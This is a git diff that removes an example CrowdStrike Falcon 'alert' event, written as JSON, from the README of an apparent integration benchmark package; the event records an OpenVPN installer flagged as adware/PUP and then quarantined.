-{{fields "vulnerability"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md
index b550fbe5c5..aef2c75e12 100644
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md
@@ -313,3289 +313,3 @@ The integration sets `event.severity` according to the mapping in the table abov
 | 40 - 59                | medium        |
 | 60 - 79                | high          |
 | 80 - 100               | critical      |
-
-## Logs
-
-### Alert
-
-This is the `alert` dataset.
-
-#### Example
-
-An example event for `alert` looks as following:
-
-```json
-{
-    "@timestamp": "2023-11-03T18:00:22.328Z",
-    "agent": {
-        "ephemeral_id": "efb69ba7-0736-4cf7-a39f-70f3183e7530",
-        "id": "d541c008-3558-403d-9392-4faa6d42fcb4",
-        "name": "elastic-agent-43429",
-        "type": "filebeat",
-        "version": "8.18.0"
-    },
-    "crowdstrike": {
-        "alert": {
-            "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-            "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-            "alleged_filetype": "exe",
-            "cid": "92012896127c4a948236ba7601b886b0",
-            "cloud_indicator": false,
-            "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
-            "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-            "confidence": 10,
-            "context_timestamp": "2023-11-03T18:00:31.000Z",
-            "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
-            "crawl_edge_ids": {
-                "Sensor": [
-                    "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
-                    "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<WalY1K_h%QDBBF;_e7S!!*'!",
-                    "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
-                    "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
-                    "N6B%O'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbCuNjL#gW&=)E4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
-                    "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
-                    "N6CU&%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!",
-                    "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
-                    "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
-                    "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N"
-                ]
-            },
-            "crawl_vertex_ids": {
-                "Sensor": [
-                    "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                    "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                    "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                    "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
-                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
-                    "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
-                ]
-            },
-            "crawled_timestamp": "2023-11-03T19:00:23.985Z",
-            "created_timestamp": "2023-11-03T18:01:23.995Z",
-            "data_domains": [
-                "Endpoint"
-            ],
-            "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-            "device": {
-                "agent_load_flags": 0,
-                "agent_local_time": "2023-10-12T03:45:57.753Z",
-                "agent_version": "7.04.17605.0",
-                "bios_manufacturer": "ABC",
-                "bios_version": "F8CN42WW(V2.05)",
-                "cid": "92012896127c4a948236ba7601b886b0",
-                "config_id_base": "65994763",
-                "config_id_build": "17605",
-                "config_id_platform": 3,
-                "external_ip": "81.2.69.142",
-                "first_seen": "2023-04-07T09:36:36.000Z",
-                "groups": [
-                    "18704e21288243b58e4c76266d38caaf"
-                ],
-                "hostinfo": {
-                    "active_directory_dn_display": [
-                        "WinComputers",
-                        "WinComputers\\ABC"
-                    ],
-                    "domain": "ABC.LOCAL"
-                },
-                "hostname": "ABC709-1175",
-                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                "last_seen": "2023-11-03T17:51:42.000Z",
-                "local_ip": "81.2.69.142",
-                "mac_address": "AB-21-48-61-05-B2",
-                "machine_domain": "ABC.LOCAL",
-                "major_version": "10",
-                "minor_version": "0",
-                "modified_timestamp": "2023-11-03T17:53:43.000Z",
-                "os_version": "Windows11",
-                "ou": [
-                    "ABC",
-                    "WinComputers"
-                ],
-                "platform_id": "0",
-                "platform_name": "Windows",
-                "product_type": "1",
-                "product_type_desc": "Workstation",
-                "site_name": "Default-First-Site-Name",
-                "status": "normal",
-                "system_manufacturer": "LENOVO",
-                "system_product_name": "20VE"
-            },
-            "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-            "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-            "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-            "grandparent_details": {
-                "cmdline": "C:\\Windows\\system32\\userinit.exe",
-                "filename": "userinit.exe",
-                "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
-                "local_process_id": "4328",
-                "md5": "b07f77fd3f9828b2c9d61f8a36609741",
-                "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
-                "process_id": "392734873135",
-                "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                "timestamp": "2023-10-30T16:49:19.000Z",
-                "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "user_name": "yuvraj.mahajan"
-            },
-            "has_script_or_module_ioc": true,
-            "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-            "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-            "ioc_context": [
-                {
-                    "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "ioc_source": "library_load",
-                    "ioc_type": "hash_sha256",
-                    "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "type": "module"
-                }
-            ],
-            "ioc_values": [
-                "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-            ],
-            "is_synthetic_quarantine_disposition": true,
-            "local_process_id": "17076",
-            "logon_domain": "ABSYS",
-            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-            "name": "PrewittPupAdwareSensorDetect-Lowest",
-            "objective": "FalconDetectionMethod",
-            "parent_details": {
-                "cmdline": "C:\\WINDOWS\\Explorer.EXE",
-                "filename": "explorer.exe",
-                "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                "local_process_id": "1040",
-                "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                "process_id": "392736520876",
-                "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                "timestamp": "2023-11-03T18:00:32.000Z",
-                "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "user_name": "mohit.jha"
-            },
-            "parent_process_id": "392736520876",
-            "pattern_disposition": 2176,
-            "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
-            "pattern_disposition_details": {
-                "blocking_unsupported_or_disabled": false,
-                "bootup_safeguard_enabled": false,
-                "critical_process_disabled": false,
-                "detect": false,
-                "fs_operation_blocked": false,
-                "handle_operation_downgraded": false,
-                "inddet_mask": false,
-                "indicator": false,
-                "kill_action_failed": false,
-                "kill_parent": false,
-                "kill_process": false,
-                "kill_subprocess": false,
-                "operation_blocked": false,
-                "policy_disabled": false,
-                "process_blocked": true,
-                "quarantine_file": true,
-                "quarantine_machine": false,
-                "registry_operation_blocked": false,
-                "rooting": false,
-                "sensor_only": false,
-                "suspend_parent": false,
-                "suspend_process": false
-            },
-            "pattern_id": "5761",
-            "platform": "Windows",
-            "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
-            "process_end_time": "2023-11-03T18:00:21.000Z",
-            "process_id": "399748687993",
-            "process_start_time": "2023-11-03T18:00:13.000Z",
-            "product": "epp",
-            "quarantined_files": [
-                {
-                    "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "state": "quarantined"
-                }
-            ],
-            "scenario": "NGAV",
-            "severity": 30,
-            "severity_name": "low",
-            "sha1": "0000000000000000000000000000000000000000",
-            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-            "show_in_ui": true,
-            "source_products": [
-                "FalconInsight"
-            ],
-            "source_vendors": [
-                "CrowdStrike"
-            ],
-            "status": "new",
-            "tactic": "MachineLearning",
-            "tactic_id": "CSTA0004",
-            "technique": "Adware/PUP",
-            "technique_id": "CST0000",
-            "timestamp": "2023-11-03T18:00:22.328Z",
-            "tree_id": "1931778",
-            "tree_root": "38687993",
-            "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
-            "type": "ldt",
-            "updated_timestamp": "2023-11-03T19:00:23.985Z",
-            "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-            "user_name": "mohit.jha"
-        }
-    },
-    "data_stream": {
-        "dataset": "crowdstrike.alert",
-        "namespace": "96581",
-        "type": "logs"
-    },
-    "device": {
-        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-        "manufacturer": "LENOVO",
-        "model": {
-            "name": "20VE"
-        }
-    },
-    "ecs": {
-        "version": "8.17.0"
-    },
-    "elastic_agent": {
-        "id": "d541c008-3558-403d-9392-4faa6d42fcb4",
-        "snapshot": true,
-        "version": "8.18.0"
-    },
-    "event": {
-        "agent_id_status": "verified",
-        "category": [
-            "process"
-        ],
-        "dataset": "crowdstrike.alert",
-        "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-        "ingested": "2025-10-09T10:20:29Z",
-        "kind": "alert",
-        "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K\\u0026cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ\\u0026-o0:dR/\\u003e\\u003e2J\\u003cd2T/ji6R\\u0026RIHe-tZSkP*q?HW;:leq.:kk)\\u003eIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6\\u003eZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg\\u003cLga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@\\u003cWalY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\\\u003cH^hNG\\\"ZQ3#U3\\\"eo\\u003c\\u003e92t[f!\\u003e*b9WLY@H!V0N,BJsNSTD:?/+fY';e\\u003cOHh9AmlT?5\\u003cgGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E\\u003cG5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb\\u003c6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O'=_7d#%u\\u0026d[+LTNDs\\u003c3307?8n=GrFI:4YYGCL,cIt-Tuj!\\u0026\\u003c6:3RbCuNjL#gW\\u0026=)E4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6\\u003ea%iM\\\"\\u003cFTSe/eH8M:\\u003c9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6\\u0026CHpVKO3\\u003cDgK9,Y/e@V\\\"b\\u0026m!\\u003c\\u003c'\",\"N6CU\\u0026%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.\\u0026eM\\u003cQer\\u003e__\\\"59K'R?_='rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A\\u0026FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\\\u0026\\u0026V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F\\u003c0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##\\u0026$^81(P+hN*-#rf/cUs)Wb\\\"\\u003c_/?I'[##WMh'H[Rcl+!!\\u003c\\u003c'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=\\u003e#DM0j$_\\u003cr/JG0TCEQ!Ug(be3)\\u0026R2JnX+RSqorgC-NCjf6XATBWX(5\\u003cL1J1DV\\u003e44ZjO9q*d!YLuHhkq!3\\u003e3tpi\\u003eOPYZp9]5f1#/AlRZL06/I6cl\\\"d.\\u0026=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
-        "severity": 21,
-        "type": [
-            "start"
-        ]
-    },
-    "file": {
-        "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-        "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
-    },
-    "host": {
-        "domain": "ABC.LOCAL",
